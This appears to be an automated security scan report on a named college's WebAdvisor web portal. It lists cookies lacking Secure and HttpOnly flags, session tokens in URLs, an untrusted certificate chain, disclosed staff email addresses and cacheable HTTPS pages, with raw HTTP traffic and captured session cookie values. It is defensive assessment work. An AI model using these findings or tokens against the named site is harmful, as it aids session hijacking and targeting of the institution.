The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the secure flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=732659858
732659858=2152910448*Y*
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
3. Session token in URLpreviousnext There are 2 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:24:22 GMT Pragma: no-cache Cache-Control: no-cache;no-store Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 3882
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns:fo="http://www.w3.org/1999/XSL/Format"> <head> <title>Help for Search for Sections</t ...[SNIP]...
The following problem was identified with the server's SSL certificate:
The server's certificate is not trusted.
The server presented the following certificates:
Server certificate
Issued to:
webadvisor3.champlain.edu
Issued by:
DigiCert High Assurance CA-3
Valid from:
Mon Jun 13 19:00:00 CDT 2011
Valid to:
Mon Aug 13 07:00:00 CDT 2012
Certificate chain #1
Issued to:
DigiCert High Assurance CA-3
Issued by:
DigiCert High Assurance EV Root CA
Valid from:
Mon Apr 02 19:00:00 CDT 2007
Valid to:
Sat Apr 02 19:00:00 CDT 2022
Certificate chain #2
Issued to:
DigiCert High Assurance EV Root CA
Issued by:
Entrust.net Secure Server Certification Authority
Valid from:
Sun Oct 01 00:00:00 CDT 2006
Valid to:
Sat Jul 26 13:15:15 CDT 2014
Certificate chain #3
Issued to:
Entrust.net Secure Server Certification Authority
Issued by:
Entrust.net Secure Server Certification Authority
Valid from:
Tue May 25 11:09:40 CDT 1999
Valid to:
Sat May 25 11:39:40 CDT 2019
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.5. Cookie without HttpOnly flag setpreviousnext There are 9 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookies were issued by the application and do not have the HttpOnly flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=5946126490
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
5946126490=638895012*Y*
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=2355598656
2355598656=6367089651*Y*
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
LASTTOKEN=5169994760
5105087831=8667851958*Y*071964395172748
5169994760=9226169704*Y*375964098772045
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.0 200 OK Date: Sun, 25 Dec 2011 21:43:22 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: 5105087831=8667851958*Y*071964395172748 Set-Cookie: 5169994760=9226169704*Y*375964098772045 Set-Cookie: LASTTOKEN=5169994760 Content-Type: text/html;charset=utf-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>WebAdvisor Main Menu</title> <meta http-equiv="Content-Type" conte ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=2853403096
2853403096=563418684*Y*
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=1060158488
1060158488=129443184*Y*
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Date: Sun, 25 Dec 2011 21:23:38 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: mycc_ss=2** Set-Cookie: 1060158488=129443184*Y* Set-Cookie: III_EXPT_FILE=aa19822** Set-Cookie: III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf** Set-Cookie: LASTTOKEN=1060158488 Content-Type: text/html;charset=utf-8 Connection: close Content-Length: 439
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=5308657332
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
5308657332=6882639554*Y*447649997081328
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <title>Enter a Purchase Order</title> <meta http-equiv="Content-Type" con ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=3011616271
3011616271=709290742*Y*
5105087831=94076855*Y*036391046531345
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
LASTTOKEN=67029956
5105087831=8667851958*Y*071964395172748
67029956=3457500272*Y*
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.0 200 OK Date: Sun, 25 Dec 2011 21:43:22 GMT Pragma: no-cache Cache-Control: no-cache;no-store Set-Cookie: 5105087831=8667851958*Y*071964395172748 Set-Cookie: 67029956=3457500272*Y* Set-Cookie: LASTTOKEN=67029956 Content-Type: text/html;charset=utf-8 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following cookies were issued by the application and do not have the HttpOnly flag set:
III_SESSION_ID=28e0ae6538f8d09cb91f9878685079cf**
LASTTOKEN=732659858
732659858=2152910448*Y*
5105087831=94076855*Y*267895500211009
III_EXPT_FILE=aa19822**
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script language="Javascript" src="./javascript/WebAdvisor_scripts.js"></script> <n ...[SNIP]...
The following email addresses were disclosed in the response:
arc@champlain.edu
helpdesk@champlain.edu
hr@champlain.edu
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /WebAdvisor/html/contactus.html HTTP/1.1 Host: webadvisor3.champlain.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 26 Dec 2011 12:08:20 GMT Accept-Ranges: bytes ETag: W/"731-1324301978000" Last-Modified: Mon, 19 Dec 2011 13:39:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 731 Connection: close
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
GET /WebAdvisor/html/contactus.html HTTP/1.1 Host: webadvisor3.champlain.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 26 Dec 2011 12:08:20 GMT Accept-Ranges: bytes ETag: W/"731-1324301978000" Last-Modified: Mon, 19 Dec 2011 13:39:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 731 Connection: close
GET /WebAdvisor/html/copyright.html HTTP/1.1 Host: webadvisor3.champlain.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 26 Dec 2011 12:08:20 GMT Accept-Ranges: bytes ETag: W/"2180-1324301952000" Last-Modified: Mon, 19 Dec 2011 13:39:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2180 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns:fo="http://www.w3.org/1999/XSL/Format"> <head> <meta http-equiv="Content- ...[SNIP]...
Report generated by HTI at Sat Sep 01 09:27:47 EDT 2012.